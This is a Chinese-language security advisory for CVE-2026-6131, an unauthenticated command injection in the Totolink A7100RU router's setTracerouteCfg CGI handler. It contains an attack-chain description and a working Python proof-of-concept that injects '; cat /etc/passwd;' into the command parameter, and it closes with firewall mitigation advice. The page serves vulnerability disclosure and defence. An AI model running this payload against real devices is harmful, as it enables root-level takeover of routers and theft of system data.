IPBUF安全漏洞报告
English
CVE-2026-6131 CVSS 9.8 严重

CVE-2026-6131 Totolink A7100RU OS命令注入漏洞

披露日期: 2026-04-12

漏洞信息

漏洞编号
CVE-2026-6131
漏洞类型
操作系统命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Totolink A7100RU

相关标签

命令注入RCEIoTTotolink路由器CVE-2026-6131

漏洞概述

Totolink A7100RU路由器在版本7.4cu.2313_b20191024中存在严重的OS命令注入漏洞。该漏洞源于/cgi-bin/cstecgi.cgi文件中setTracerouteCfg函数未对用户输入的command参数进行严格过滤。攻击者无需认证即可构造恶意数据包,远程在系统底层执行任意命令,导致设备完全被控制,CVSS评分高达9.8,属于严重安全风险。

技术细节

该漏洞位于Totolink A7100RU路由器的Web管理接口中,具体涉及/cgi-bin/cstecgi.cgi脚本中的setTracerouteCfg功能。该函数用于处理Traceroute诊断工具的配置请求。在处理用户提交的数据时,程序直接从HTTP POST请求的command参数中提取值,并将其传递给系统Shell执行,中间完全缺失了输入验证机制。由于该CGI接口通常以Root权限运行,且无需身份验证(PR:N)即可访问,攻击者可以通过发送特制的JSON或表单数据,在command字段中追加Shell元字符(如分号或管道符),从而强制服务器执行任意操作系统命令。这可能导致攻击者获取设备完全控制权、窃取敏感信息或植入持久化后门。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络端口,识别出暴露在互联网上的Totolink A7100RU设备。
STEP 2
2. 漏洞利用
攻击者向目标设备的/cgi-bin/cstecgi.cgi接口发送特制的HTTP POST请求,调用setTracerouteCfg函数,并在command参数中注入恶意Shell命令(如反弹Shell)。
STEP 3
3. 命令执行
设备后端CGI程序解析请求,由于未过滤特殊字符,直接将注入的命令传递给系统执行,攻击者获得Root权限的Shell访问权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual IP) url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Headers headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # Malicious payload injecting OS command # The 'command' parameter is the injection point payload = { "topicurl": "setTracerouteCfg", "data": { "command": "8.8.8.8; cat /etc/passwd;" } } try: # Send POST request response = requests.post(url, json=payload, headers=headers, timeout=10) print(f"[+] Status: {response.status_code}") print(f"[+] Response: {response.text}") except Exception as e: print(f"[-] Error: {e}")

影响范围

Totolink A7100RU 7.4cu.2313_b20191024

防御指南

临时缓解措施
如果无法立即升级固件,建议将设备置于防火墙之后,禁止外部网络访问其管理端口(80/443),并仅允许受信任的内网IP地址进行管理访问,以降低被远程攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表